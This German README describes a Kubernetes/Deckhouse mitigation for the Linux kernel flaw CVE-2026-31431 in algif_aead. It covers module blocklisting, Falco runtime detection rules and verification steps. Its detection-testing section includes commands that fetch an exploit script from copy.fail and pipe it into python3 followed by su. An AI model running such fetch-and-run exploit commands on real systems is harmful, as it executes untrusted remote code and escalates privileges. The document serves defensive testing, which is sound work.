
Kubernetes-native Mitigation für CVE-2026-31431 mit automatischer Blockierung von Kernelmodulen, Falco-Erkennungsregeln zur Laufzeit und bashible-basierter Knotenkonfiguration für Deckhouse-Cluster.
Sprache: Englisch | Русский
CVE-2026-31431 ist eine Schwachstelle im algif_aead-Modul des Linux-Kernels,
das die Kernel-Krypto-API über die Socket-Familie AF_ALG für den
Benutzerbereich bereitstellt. Ein Fehler in der AEAD-Schnittstelle
(Authenticated Encryption with Associated Data) ermöglicht es einem lokalen,
unprivilegierten Benutzer, durch das Einreichen präparierter
Scatter-Gather-Listen eine Speicherkorruption im Kernel auszulösen, was zu
einer lokalen Privilegienausweitung oder einem Denial-of-Service führt.
Die angreifbare Oberfläche ist von jedem Prozess erreichbar — einschließlich
unprivilegierter Container —, der socket(AF_ALG, SOCK_SEQPACKET, 0)
aufrufen und an einen Algorithmus vom Typ aead binden darf.
Container-Runtimes, die das Standard-Seccomp-Profil nicht entfernen oder die
Syscall-Familie socket nicht einschränken, setzen Cluster-Knoten dem Angriff
aus.
Die empfohlene Abschwächung, bis der Upstream-Kernel-Patch über
OS-Paketupdates ausgerollt wird, besteht darin, das Kernel-Modul
algif_aead auf jedem Cluster-Knoten zu deaktivieren und
Ausnutzungsversuche zur Laufzeit zu erkennen.
Dieses Repository enthält alles, was zur Abschwächung von CVE-2026-31431 auf einem von Deckhouse verwalteten Cluster benötigt wird:
ngc-cve-2026-31431.yaml — Abschwächung auf KnotenseiteDie NodeGroupConfiguration läuft über bashible auf jedem Knoten und führt
vier Schritte aus:
AF_ALG-Socket und bindet ihn an aead/gcm(aes),
um festzustellen, ob die verwundbare Schnittstelle auf dem Knoten
erreichbar ist./etc/modprobe.d/disable-algif.conf mit
install-Direktiven, die verhindern, dass algif_aead (und das
übergeordnete af_alg) erneut geladen wird, sei es manuell oder als
Abhängigkeit.rmmod algif_aead aus, wenn das Modul derzeit
geladen ist. Wird übersprungen, wenn das Modul in den Kernel
einkompiliert ist (in diesem Fall greifen nur Blocklist +
Laufzeiterkennung).Idempotent: Die erneute Ausführung der Konfiguration auf einem bereits abgeschwächten Knoten ist ein No-op.
far-cve-2026-31431.yaml — LaufzeiterkennungDie Ressource FalcoAuditRules fügt eine benutzerdefinierte Falco-Regel
hinzu, die ein Critical-Ereignis auslöst, wenn ein Prozess einen
AF_ALG-Socket öffnet und ihn an einen aead-Algorithmus bindet (das für
diesen Angriff einzigartige Syscall-Muster). Sie gibt außerdem ein
Warning-Ereignis aus, wenn ein Prozess versucht, das Modul algif_aead
über modprobe/insmod zu laden, was auf einem abgeschwächten Knoten
niemals gelingen sollte und ein starkes Signal für einen Ausnutzungsversuch
oder eine Fehlkonfiguration durch den Betreiber ist.
Hinweis zur Edition:
FalcoAuditRuleswird vom Modulruntime-audit-engineabgeglichen, das nur in Deckhouse Enterprise Edition (EE) und Certified Security Edition (CSE) enthalten ist. In der Community Edition wird die Ressource nicht verarbeitet; dieNodeGroupConfigurationaus diesem Repository gilt weiterhin und ist die primäre Abschwächung.
kubectl apply -f ngc-cve-2026-31431.yaml
# EE / CSE only:
kubectl apply -f far-cve-2026-31431.yaml
Warten Sie, bis die Konfiguration auf jedem Knoten angewendet wurde, indem
Sie den Status jeder NodeGroup beobachten. Bashible meldet den Erfolg pro
Schritt an die NodeGroup zurück, und Deckhouse fasst dies in zwei Feldern
zusammen, die Sie abfragen können:
.status.upToDate — Anzahl der Knoten, deren letzter bashible-Lauf mit der
aktuellen Konfiguration erfolgreich war. Konvergenz ist erreicht, wenn
upToDate == nodes für jede Gruppe gilt..status.conditionSummary.ready — "True", sobald die Gruppe gesund ist;
wechselt auf "False" mit einem menschenlesbaren Grund in
.status.conditionSummary.statusMessage, wenn ein bashible-Schritt eines
Knotens fehlschlägt (genau das tut der Verifizierungsschritt in der
NodeGroupConfiguration auf einem Knoten, auf dem der Fix nicht angewendet
werden konnte).Ein einmaliger Überblick über alle Gruppen:
kubectl get nodegroups
NAME TYPE READY NODES UPTODATE ... STATUS MESSAGE
master Static 3 3 3
worker Cloud 5 5 5
Ein skriptbarer Check, der nur dann mit Exit-Code 0 endet, wenn jede Gruppe konvergiert ist:
kubectl get nodegroups -o json | jq -e '
.items[]
| select((.status.upToDate // 0) != (.status.nodes // 0)
or (.status.conditionSummary.ready // "False") != "True")
' >/dev/null && echo "still converging" || echo "all node groups converged"
Wenn eine NodeGroup mit conditionSummary.ready == "False" festhängt,
lesen Sie .status.conditionSummary.statusMessage — dort wird der
fehlschlagende bashible-Schritt angezeigt, einschließlich des
Verifizierungsschritts aus dieser Abschwächung.
Sobald das Upstream-Kernelpaket mit dem offiziellen Fix auf jedem Knoten installiert ist, entfernen Sie beide Ressourcen:
kubectl delete -f far-cve-2026-31431.yaml --ignore-not-found
kubectl delete -f ngc-cve-2026-31431.yaml
Das Entfernen der NodeGroupConfiguration löscht
/etc/modprobe.d/disable-algif.conf nicht automatisch — bereinigen Sie
es manuell, wenn das Modul wieder ladbar sein soll, oder lassen Sie die
Blocklist bestehen, wenn die Kernel-Krypto-API von keiner Workload im Cluster
verwendet wird.
Clusterweit:
kubectl get nodegroups
UPTODATE sollte NODES entsprechen, und die Spalte mit der Statusmeldung
sollte für jede Gruppe leer sein.
Auf einem Knoten (SSH oder kubectl debug node/<name> + chroot /host):
cat /etc/modprobe.d/disable-algif.conf
lsmod | grep algif_aead
modprobe -n -v algif_aead
modprobe algif_aead; echo "exit=$?"
Erwartet:
cat zeigt die vier install / blacklist-Zeilen.lsmod ist leer.modprobe -n -v gibt install /bin/false aus.modprobe gibt exit=1 zurück.Verwenden Sie diesen Unterabschnitt, um zu validieren, dass die
benutzerdefinierten FalcoAuditRules für CVE-2026-31431 bei jedem PoC-Lauf
wirklich auslösen.
Allgemeine Vorprüfungen für beide Szenarien:
runtime-audit-engine auf allen Knoten gesund ist:kubectl -n d8-runtime-audit-engine get ds runtime-audit-engine \
-o custom-columns=NAME:.metadata.name,DESIRED:.status.desiredNumberScheduled,CURRENT:.status.currentNumberScheduled,READY:.status.numberReady,AVAILABLE:.status.numberAvailable
kubectl -n d8-runtime-audit-engine get pods -l app=runtime-audit-engine -o wide
Erwartet: DESIRED == READY == AVAILABLE.
kubectl apply -f far-cve-2026-31431.yaml
kubectl get falcoauditrules.deckhouse.io cve-2026-31431-algif-aead -o yaml | sed -n '1,120p'
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=2m
kubectl delete pod cve-31431-test --ignore-not-found
kubectl run cve-31431-test --image=python:3.12 --restart=Never --command -- sleep 600
kubectl wait --for=condition=Ready pod/cve-31431-test --timeout=120s
# Important: use -i so Python receives stdin script
kubectl exec -i cve-31431-test -- python - <<'PY'
import socket
s=socket.socket(38, socket.SOCK_SEQPACKET, 0)
s.bind(("aead","gcm(aes)"))
s.setsockopt(279, 1, b'0123456789abcdef')
print("af_alg_poc_ok")
PY
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
| grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'
Bereinigung:
kubectl delete pod cve-31431-test --ignore-not-found
Sicherheitswarnung: Überprüfen Sie jedes heruntergeladene Skript vor der Ausführung. Führen Sie Remote-Skripte in Produktionsumgebungen nicht blind aus.
Empfohlen (zuerst prüfen, dann ausführen):
curl -fsSL https://copy.fail/exp -o /tmp/copy-fail-exp.py
less /tmp/copy-fail-exp.py
python3 /tmp/copy-fail-exp.py && su
Entsprechender Einzeiler (nur nach Prüfung/Freigabe):
curl https://copy.fail/exp | python3 && su
Erkennungen prüfen:
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
| grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'
| Datei | Zweck |
|---|
ngc-cve-2026-31431.yaml | NodeGroupConfiguration, die die verwundbare Schnittstelle testet, das Laden von algif_aead blockiert, das Modul entlädt, falls es derzeit geladen ist, und überprüft, dass der Fix wirksam ist. Gilt für alle Bundles und Node-Gruppen. |
far-cve-2026-31431.yaml | FalcoAuditRules, die Laufzeitversuche erkennt, die Schwachstelle über AF_ALG-Sockets auszunutzen, die an AEAD-Algorithmen gebunden sind. Nur verfügbar in Deckhouse Enterprise Edition (EE) und Certified Security Edition (CSE), da das Modul runtime-audit-engine in diesen Editionen enthalten ist. |